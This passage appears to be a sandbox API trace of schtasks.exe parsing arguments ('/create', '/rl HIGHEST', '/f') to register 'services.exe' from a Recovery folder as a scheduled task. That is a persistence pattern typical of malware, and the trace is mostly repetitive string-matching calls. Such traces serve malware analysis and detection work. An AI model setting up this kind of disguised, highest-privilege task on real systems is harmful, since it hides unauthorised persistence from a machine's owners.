0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.103] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0060.103] GetLastError () returned 0x0 [0060.103] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.103] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.103] SetLastError (dwErrCode=0x0) [0060.103] SetLastError (dwErrCode=0x0) [0060.103] lstrlenW (lpString="/rl") returned 3 [0060.103] lstrlenW (lpString="-/") returned 2 [0060.103] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.103] lstrlenW (lpString="create") returned 6 [0060.103] lstrlenW (lpString="create") returned 6 [0060.103] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.103] lstrlenW (lpString="rl") returned 2 [0060.103] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.104] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0060.104] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.104] lstrlenW (lpString="|create|") returned 8 [0060.104] lstrlenW (lpString="|rl|") returned 4 [0060.104] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0060.104] SetLastError (dwErrCode=0x490) [0060.104] lstrlenW (lpString="?") returned 1 [0060.104] lstrlenW (lpString="?") returned 1 [0060.104] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.104] lstrlenW (lpString="rl") returned 2 [0060.104] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.104] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0060.104] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.104] lstrlenW (lpString="|?|") returned 3 [0060.104] lstrlenW (lpString="|rl|") returned 4 [0060.104] SetLastError (dwErrCode=0x490) [0060.104] lstrlenW (lpString="s") returned 1 [0060.104] lstrlenW (lpString="s") returned 1 [0060.104] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.104] lstrlenW (lpString="rl") returned 2 [0060.104] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.104] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0060.104] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.104] lstrlenW (lpString="|s|") returned 3 [0060.104] lstrlenW (lpString="|rl|") returned 4 [0060.104] SetLastError (dwErrCode=0x490) [0060.105] lstrlenW (lpString="u") returned 1 [0060.105] lstrlenW (lpString="u") returned 1 [0060.105] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.105] lstrlenW (lpString="rl") returned 2 [0060.105] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.105] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0060.105] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.105] lstrlenW (lpString="|u|") returned 3 [0060.105] lstrlenW (lpString="|rl|") returned 4 [0060.105] SetLastError (dwErrCode=0x490) [0060.105] lstrlenW (lpString="p") returned 1 [0060.105] lstrlenW (lpString="p") returned 1 [0060.105] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.105] lstrlenW (lpString="rl") returned 2 [0060.105] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.105] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0060.105] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.105] lstrlenW (lpString="|p|") returned 3 [0060.105] lstrlenW (lpString="|rl|") returned 4 [0060.105] SetLastError (dwErrCode=0x490) [0060.105] lstrlenW (lpString="ru") returned 2 [0060.105] lstrlenW (lpString="ru") returned 2 [0060.105] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.105] lstrlenW (lpString="rl") returned 2 [0060.105] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.105] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0060.106] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.106] lstrlenW (lpString="|ru|") returned 4 [0060.106] lstrlenW (lpString="|rl|") returned 4 [0060.106] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0060.106] SetLastError (dwErrCode=0x490) [0060.106] lstrlenW (lpString="rp") returned 2 [0060.106] lstrlenW (lpString="rp") returned 2 [0060.106] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.106] lstrlenW (lpString="rl") returned 2 [0060.106] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.106] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0060.106] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.106] lstrlenW (lpString="|rp|") returned 4 [0060.106] lstrlenW (lpString="|rl|") returned 4 [0060.106] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0060.106] SetLastError (dwErrCode=0x490) [0060.106] lstrlenW (lpString="sc") returned 2 [0060.106] lstrlenW (lpString="sc") returned 2 [0060.106] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.106] lstrlenW (lpString="rl") returned 2 [0060.106] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.106] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.106] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.106] lstrlenW (lpString="|sc|") returned 4 [0060.106] lstrlenW (lpString="|rl|") returned 4 [0060.107] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0060.107] SetLastError (dwErrCode=0x490) [0060.107] lstrlenW (lpString="mo") returned 2 [0060.107] lstrlenW (lpString="mo") returned 2 [0060.107] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.107] lstrlenW (lpString="rl") returned 2 [0060.107] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.107] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0060.107] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.107] lstrlenW (lpString="|mo|") returned 4 [0060.107] lstrlenW (lpString="|rl|") returned 4 [0060.107] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0060.107] SetLastError (dwErrCode=0x490) [0060.107] lstrlenW (lpString="d") returned 1 [0060.107] lstrlenW (lpString="d") returned 1 [0060.107] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.107] lstrlenW (lpString="rl") returned 2 [0060.107] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.107] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|d|") returned 3 [0060.107] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.107] lstrlenW (lpString="|d|") returned 3 [0060.107] lstrlenW (lpString="|rl|") returned 4 [0060.107] SetLastError (dwErrCode=0x490) [0060.107] lstrlenW (lpString="m") returned 1 [0060.107] lstrlenW (lpString="m") returned 1 [0060.107] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.107] lstrlenW (lpString="rl") returned 2 [0060.108] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.108] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|m|") returned 3 [0060.108] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.108] lstrlenW (lpString="|m|") returned 3 [0060.108] lstrlenW (lpString="|rl|") returned 4 [0060.108] SetLastError (dwErrCode=0x490) [0060.108] lstrlenW (lpString="i") returned 1 [0060.108] lstrlenW (lpString="i") returned 1 [0060.108] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.108] lstrlenW (lpString="rl") returned 2 [0060.108] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.108] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|i|") returned 3 [0060.108] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.108] lstrlenW (lpString="|i|") returned 3 [0060.108] lstrlenW (lpString="|rl|") returned 4 [0060.108] SetLastError (dwErrCode=0x490) [0060.108] lstrlenW (lpString="tn") returned 2 [0060.108] lstrlenW (lpString="tn") returned 2 [0060.108] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.108] lstrlenW (lpString="rl") returned 2 [0060.108] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.108] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.108] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.108] lstrlenW (lpString="|tn|") returned 4 [0060.108] lstrlenW (lpString="|rl|") returned 4 [0060.108] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0060.108] SetLastError (dwErrCode=0x490) [0060.109] lstrlenW (lpString="tr") returned 2 [0060.109] lstrlenW (lpString="tr") returned 2 [0060.109] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.109] lstrlenW (lpString="rl") returned 2 [0060.109] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.109] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.109] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.109] lstrlenW (lpString="|tr|") returned 4 [0060.109] lstrlenW (lpString="|rl|") returned 4 [0060.109] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0060.109] SetLastError (dwErrCode=0x490) [0060.109] lstrlenW (lpString="st") returned 2 [0060.109] lstrlenW (lpString="st") returned 2 [0060.109] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.109] lstrlenW (lpString="rl") returned 2 [0060.109] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.109] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|st|") returned 4 [0060.109] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.109] lstrlenW (lpString="|st|") returned 4 [0060.109] lstrlenW (lpString="|rl|") returned 4 [0060.109] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0060.109] SetLastError (dwErrCode=0x490) [0060.109] lstrlenW (lpString="sd") returned 2 [0060.109] lstrlenW (lpString="sd") returned 2 [0060.109] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.109] lstrlenW (lpString="rl") returned 2 [0060.110] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.110] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sd|") returned 4 [0060.110] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.110] lstrlenW (lpString="|sd|") returned 4 [0060.110] lstrlenW (lpString="|rl|") returned 4 [0060.110] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0060.110] SetLastError (dwErrCode=0x490) [0060.110] lstrlenW (lpString="ed") returned 2 [0060.110] lstrlenW (lpString="ed") returned 2 [0060.110] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.110] lstrlenW (lpString="rl") returned 2 [0060.110] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.110] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ed|") returned 4 [0060.110] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.110] lstrlenW (lpString="|ed|") returned 4 [0060.110] lstrlenW (lpString="|rl|") returned 4 [0060.110] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0060.110] SetLastError (dwErrCode=0x490) [0060.110] lstrlenW (lpString="it") returned 2 [0060.110] lstrlenW (lpString="it") returned 2 [0060.110] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.110] lstrlenW (lpString="rl") returned 2 [0060.110] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.110] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|it|") returned 4 [0060.110] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.110] lstrlenW (lpString="|it|") returned 4 [0060.111] lstrlenW (lpString="|rl|") returned 4 [0060.111] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0060.111] SetLastError (dwErrCode=0x490) [0060.111] lstrlenW (lpString="et") returned 2 [0060.111] lstrlenW (lpString="et") returned 2 [0060.111] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.111] lstrlenW (lpString="rl") returned 2 [0060.111] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.111] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|et|") returned 4 [0060.111] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.111] lstrlenW (lpString="|et|") returned 4 [0060.111] lstrlenW (lpString="|rl|") returned 4 [0060.111] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0060.111] SetLastError (dwErrCode=0x490) [0060.111] lstrlenW (lpString="k") returned 1 [0060.111] lstrlenW (lpString="k") returned 1 [0060.111] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.111] lstrlenW (lpString="rl") returned 2 [0060.111] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.111] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|k|") returned 3 [0060.111] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.111] lstrlenW (lpString="|k|") returned 3 [0060.111] lstrlenW (lpString="|rl|") returned 4 [0060.111] SetLastError (dwErrCode=0x490) [0060.111] lstrlenW (lpString="du") returned 2 [0060.111] lstrlenW (lpString="du") returned 2 [0060.112] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.112] lstrlenW (lpString="rl") returned 2 [0060.112] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.112] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|du|") returned 4 [0060.112] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.112] lstrlenW (lpString="|du|") returned 4 [0060.112] lstrlenW (lpString="|rl|") returned 4 [0060.112] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0060.112] SetLastError (dwErrCode=0x490) [0060.112] lstrlenW (lpString="ri") returned 2 [0060.112] lstrlenW (lpString="ri") returned 2 [0060.112] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.112] lstrlenW (lpString="rl") returned 2 [0060.112] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.112] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ri|") returned 4 [0060.112] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.112] lstrlenW (lpString="|ri|") returned 4 [0060.112] lstrlenW (lpString="|rl|") returned 4 [0060.112] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0060.112] SetLastError (dwErrCode=0x490) [0060.112] lstrlenW (lpString="z") returned 1 [0060.112] lstrlenW (lpString="z") returned 1 [0060.112] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.112] lstrlenW (lpString="rl") returned 2 [0060.112] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.113] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|z|") returned 3 [0060.113] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.113] lstrlenW (lpString="|z|") returned 3 [0060.113] lstrlenW (lpString="|rl|") returned 4 [0060.113] SetLastError (dwErrCode=0x490) [0060.113] lstrlenW (lpString="f") returned 1 [0060.113] lstrlenW (lpString="f") returned 1 [0060.113] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.113] lstrlenW (lpString="rl") returned 2 [0060.113] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.113] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.113] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.113] lstrlenW (lpString="|f|") returned 3 [0060.113] lstrlenW (lpString="|rl|") returned 4 [0060.113] SetLastError (dwErrCode=0x490) [0060.113] lstrlenW (lpString="v1") returned 2 [0060.113] lstrlenW (lpString="v1") returned 2 [0060.113] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.113] lstrlenW (lpString="rl") returned 2 [0060.113] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.113] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|v1|") returned 4 [0060.113] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.113] lstrlenW (lpString="|v1|") returned 4 [0060.113] lstrlenW (lpString="|rl|") returned 4 [0060.113] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0060.113] SetLastError (dwErrCode=0x490) [0060.114] lstrlenW (lpString="xml") returned 3 [0060.114] lstrlenW (lpString="xml") returned 3 [0060.114] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.114] lstrlenW (lpString="rl") returned 2 [0060.114] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.114] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|xml|") returned 5 [0060.114] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.114] lstrlenW (lpString="|xml|") returned 5 [0060.114] lstrlenW (lpString="|rl|") returned 4 [0060.114] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0060.114] SetLastError (dwErrCode=0x490) [0060.114] lstrlenW (lpString="ec") returned 2 [0060.114] lstrlenW (lpString="ec") returned 2 [0060.114] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.114] lstrlenW (lpString="rl") returned 2 [0060.114] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.114] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ec|") returned 4 [0060.114] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.114] lstrlenW (lpString="|ec|") returned 4 [0060.114] lstrlenW (lpString="|rl|") returned 4 [0060.114] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0060.114] SetLastError (dwErrCode=0x490) [0060.114] lstrlenW (lpString="rl") returned 2 [0060.114] lstrlenW (lpString="rl") returned 2 [0060.115] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.115] lstrlenW (lpString="rl") returned 2 [0060.115] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.115] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.115] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0060.115] lstrlenW (lpString="|rl|") returned 4 [0060.115] lstrlenW (lpString="|rl|") returned 4 [0060.115] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0060.115] SetLastError (dwErrCode=0x0) [0060.115] SetLastError (dwErrCode=0x0) [0060.115] lstrlenW (lpString="HIGHEST") returned 7 [0060.115] lstrlenW (lpString="-/") returned 2 [0060.115] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0060.115] SetLastError (dwErrCode=0x490) [0060.115] SetLastError (dwErrCode=0x490) [0060.115] SetLastError (dwErrCode=0x0) [0060.116] lstrlenW (lpString="HIGHEST") returned 7 [0060.116] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0060.116] SetLastError (dwErrCode=0x490) [0060.116] SetLastError (dwErrCode=0x0) [0060.116] _memicmp (_Buf1=0xdd6e0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.116] lstrlenW (lpString="HIGHEST") returned 7 [0060.116] lstrlenW (lpString="HIGHEST") returned 7 [0060.116] lstrlenW (lpString=" \x09") returned 2 [0060.116] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0060.116] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0060.116] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0060.116] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0060.116] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0060.116] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0060.116] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0060.116] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0060.116] GetLastError () returned 0x0 [0060.116] lstrlenW (lpString="HIGHEST") returned 7 [0060.116] lstrlenW (lpString="HIGHEST") returned 7 [0060.116] SetLastError (dwErrCode=0x0) [0060.116] SetLastError (dwErrCode=0x0) [0060.116] lstrlenW (lpString="/f") returned 2 [0060.116] lstrlenW (lpString="-/") returned 2 [0060.116] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.116] lstrlenW (lpString="create") returned 6 [0060.116] lstrlenW (lpString="create") returned 6 [0060.116] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.117] lstrlenW (lpString="f") returned 1 [0060.117] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.117] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0060.117] _vsnwprintf (in: 